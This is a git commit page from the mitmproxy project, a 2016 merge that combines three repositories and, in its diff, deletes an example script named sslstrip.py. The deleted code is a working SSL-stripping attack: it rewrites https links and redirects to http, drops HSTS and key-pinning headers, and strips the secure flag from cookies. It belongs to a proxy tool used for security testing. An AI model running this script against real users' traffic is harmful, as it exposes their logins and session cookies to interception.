diff options
author | Maximilian Hils <git@maximilianhils.com> | 2016-02-15 23:00:11 +0100 |
---|---|---|
committer | Maximilian Hils <git@maximilianhils.com> | 2016-02-15 23:00:11 +0100 |
commit | 87d9afcf2e257eee7c5aa08c3f0dc64da79b0647 (patch) | |
tree | 71b10729d160f0269d02548d1ef9e183be1397d9 /examples/sslstrip.py | |
parent | 36f34f701991b5d474c005ec45e3b66e20f326a8 (diff) | |
parent | 3d9a5157e77b5a3237dc62994f4e3d4c75c2066e (diff) | |
download | mitmproxy-87d9afcf2e257eee7c5aa08c3f0dc64da79b0647.tar.gz mitmproxy-87d9afcf2e257eee7c5aa08c3f0dc64da79b0647.tar.bz2 mitmproxy-87d9afcf2e257eee7c5aa08c3f0dc64da79b0647.zip |
Merge pull request #937 from mhils/single-repo
Combine mitmproxy, pathod and netlib in a single repo.
Diffstat (limited to 'examples/sslstrip.py')
-rw-r--r-- | examples/sslstrip.py | 40 |
1 files changed, 0 insertions, 40 deletions
diff --git a/examples/sslstrip.py b/examples/sslstrip.py deleted file mode 100644 index 369427a2..00000000 --- a/examples/sslstrip.py +++ /dev/null @@ -1,40 +0,0 @@ -from netlib.http import decoded -import re -from six.moves import urllib - -def start(context, argv) : - - #set of SSL/TLS capable hosts - context.secure_hosts = set() - -def request(context, flow) : - - flow.request.headers.pop('If-Modified-Since', None) - flow.request.headers.pop('Cache-Control', None) - - #proxy connections to SSL-enabled hosts - if flow.request.pretty_host in context.secure_hosts : - flow.request.scheme = 'https' - flow.request.port = 443 - -def response(context, flow) : - - with decoded(flow.response) : - flow.request.headers.pop('Strict-Transport-Security', None) - flow.request.headers.pop('Public-Key-Pins', None) - - #strip links in response body - flow.response.content = flow.response.content.replace('https://', 'http://') - - #strip links in 'Location' header - if flow.response.headers.get('Location','').startswith('https://'): - location = flow.response.headers['Location'] - hostname = urllib.parse.urlparse(location).hostname - if hostname: - context.secure_hosts.add(hostname) - flow.response.headers['Location'] = location.replace('https://', 'http://', 1) - - #strip secure flag from 'Set-Cookie' headers - cookies = flow.response.headers.get_all('Set-Cookie') - cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] - flow.response.headers.set_all('Set-Cookie', cookies) |